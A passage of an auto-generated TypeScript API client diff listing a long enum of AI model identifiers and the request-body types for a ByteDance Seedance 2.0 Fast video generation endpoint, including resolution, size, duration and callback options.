'~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20FastRequestModelEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20FastRequestModelEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20FastRequestModelEnum] + +export const openrouterPostVideosBytedanceSeedance20FastRequestResolutionEnum = + { + '480p': '480p', + '720p': '720p', + } as const + +export type OpenrouterPostVideosBytedanceSeedance20FastRequestResolutionEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20FastRequestResolutionEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20FastRequestResolutionEnum] + +export const openrouterPostVideosBytedanceSeedance20FastRequestSizeEnum = { + '480x480': '480x480', + '480x640': '480x640', + '480x854': '480x854', + '640x480': '640x480', + '854x480': '854x480', + '1120x480': '1120x480', + '720x720': '720x720', + '720x960': '720x960', + '720x1280': '720x1280', + '720x1680': '720x1680', + '960x720': '960x720', + '1280x720': '1280x720', + '1680x720': '1680x720', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20FastRequestSizeEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20FastRequestSizeEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20FastRequestSizeEnum] + +/** + * @description ByteDance: Seedance 2.0 Fast (bytedance/seedance-2.0-fast) — model-constrained video generation request. Seedance 2.0 Fast is a video generation model from ByteDance. It supports text-to-video, image-to-video with first and last frame control, and multimodal reference-to-video. It prioritizes generation speed and lower cost... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance20FastBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosBytedanceSeedance20FastRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosBytedanceSeedance20FastRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type 